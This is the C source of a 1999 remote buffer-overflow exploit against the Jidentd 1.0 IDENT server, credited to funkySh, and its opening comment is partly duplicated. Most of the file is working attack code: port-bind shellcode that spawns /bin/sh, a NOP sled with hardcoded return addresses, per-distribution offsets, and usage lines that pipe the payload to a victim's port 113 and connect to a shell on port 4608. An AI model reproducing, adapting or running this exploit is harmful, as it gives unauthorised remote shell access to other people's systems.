jidex.c

/*
* Jidentd 1.0 IDENT server remote sploit
* funkySh jidex.c

/*
* Jidentd 1.0 IDENT server remote sploit
* funkySh 03/08/99(v.2) / port-bind shellcode by tekneeq
* run: jidex [offset] | nc victim 113
* telnet victim 4608
*
* tested under:
* Slackware 3.6, 4.0 offset = 0
* Debian 2.1 offset =
* Redhat 5.1, 5.2 offset = 700
* 5.0 offset = 800
* 4.1 offset =
*
* also try to modify ALIGN if not work.
*/

#include <stdio.h>

char code[] =
"\x31\xdb\xb0\x1b\xcd\x80\xeb\x40\x5e\x31\xc0\x40\x89\x46\x04"
"\x89\xc3\x40\x89\x06\xb0\x06\x89\x46\x08\xb0\x66\x8d\x0e\xcd"
"\x80\x89\x06\x8d\x4e\x0c\x89\x4e\x04\x31\xc0\x89\x46\x10\x89"
"\x46\x14\xb0\x02\x89\xc3\x89\x46\x0c\xb0\x12\x89\x46\x0e\xb0"
"\x10\x89\x46\x08\xb0\x66\x8d\x0e\xcd\x80\xeb\x02\xeb\x62\x31"
"\xdb\x89\xd8\xb3\x01\x89\x5e\x04\xb3\x04\x8d\x0e\xb0\x66\xcd"
"\x80\x31\xc0\x8d\x4e\x0c\x89\x4e\x04\x8d\x4e\x1c\x89\x4e\x08"
"\x8d\x0e\xb3\x05\xb0\x66\xcd\x80\x89\xc3\x31\xc0\x89\xc1\xb0"
"\x3f\xcd\x80\xb0\x3f\xfe\xc1\xcd\x80\xfe\xc1\xb0\x3f\xcd\x80"
"\x89\xf2\x83\xc2\x20\x89\xd6\x89\x76\x08\x31\xc0\x88\x46\x07"
"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\x31\xdb\x89\xd8\x40\xcd\x80\xe8\x57\xff\xff\xff\x6a\x75\x6e"
"\x6b\x6a\x75\x6e\x6b\x6a\x75\x6e\x6b\x6a\x75\x6e\x6b\x6a\x75"
"\x6e\x6b\x6a\x75\x6e\x6b\x6a\x75\x6e\x6b\x6a\x75\x6e\x6b/bin/sh";

#define BUFFER 1100
#define NOP 0x90
#define RET_ADDR 0xbffff704
#define ALIGN 0

char buf[BUFFER];

void main(int argc, char * argv[])
{
int i, offset = 0;
long address;
if(argc > 1) offset = atoi(argv[1]);
address = RET_ADDR + offset;
memset(buf,NOP,BUFFER);
memcpy(buf+700,code,strlen(code));
for(i=923+ALIGN;i<BUFFER-2;i+=4)
*(int *)&buf[i]=address;
buf[BUFFER - 1] = 0;
printf("%s", buf);
}